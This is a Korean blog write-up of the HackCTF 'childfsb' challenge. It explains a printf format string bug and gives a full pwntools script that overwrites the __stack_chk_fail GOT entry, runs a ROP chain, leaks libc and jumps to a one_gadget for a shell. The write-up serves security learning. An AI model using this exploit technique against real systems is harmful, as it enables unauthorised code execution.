printf부분에서 formatstring bug가 발생한다는 것을 알 수 있다. 이 문제를 푸는 방법은 babyfsb문제 처럼 rsp를 건드리지 않고 pop 을 여러번 하는 가젯을 통해 스택에 적어놓은 ROP코드를 실행하면 된다.
2019/08/25 - [CTF write-up] - [hackctf] babyfsb
다만 여기서는 스택에 적을 수 있는 갯수가 너무 적어서 pop을 6번해야 된다. 하지만 이 가젯을 ROPgadget으로 찾을수 없었다. 그래서 혹시나 하는 마음에 objdump -d childfsb | grep pop을 통해서 보았을 때 마법같이 pop을 6번하는 가젯을 찾을 수 있었다. 그래서 이런 가젯들을 이용하면 익스를 할 수 있다.
from pwn import *
#p = process('./childfsb')
p = remote('ctf.j0n9hyun.xyz', 3037)
e = ELF('./childfsb')
l = e.libc
pause()
context.log_level = "debug"
p_rdi_r = 0x0000000000400833
ret = 0x400760
main = 0x000000000040075F
ppr = 0x400830
pppr = 0x40082e
ppppr = 0x40082b
pppppr =0x000000000040082b
ppppppr = 0x40082a
### return to main (but start at mov rsp,rbp)
payload = '%' + str(ret) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
############################
####ROP CODE####
payload = p64(e.plt['printf'])
payload += p64(main)
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
payload = p64(p_rdi_r)
payload += p64(e.got['read'])
payload += p64(ppr)
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
############################
### overwrite ppppppr to execute ROP CODE###
payload = '%' + str(ppppppr) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
#############################
### libc leak###
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - l.sym['read']
log.info('libc : ' + hex(libc))
#############################
### return to main (but start at mov rsp,rbp)
payload = '%' + str(ret) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
#############################
### one_gadget###
payload = p64(libc + 0x45216)
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
############################
### overwrite ppppppr to execute one_gadget###
payload = '%' + str(ppppppr) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
payload += 'a' * (0x19 - len(payload))
p.sendafter('hello\n', payload)
############################
p.interactive()
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] childheap (3) | 2019.11.29 |
---|---|
[hackctf] - j0n9hyun's secret (3) | 2019.09.13 |
[hackctf] babyheap (0) | 2019.08.25 |
[hackctf] babyfsb (0) | 2019.08.25 |
[hackctf] 풍수지리설 (0) | 2019.08.20 |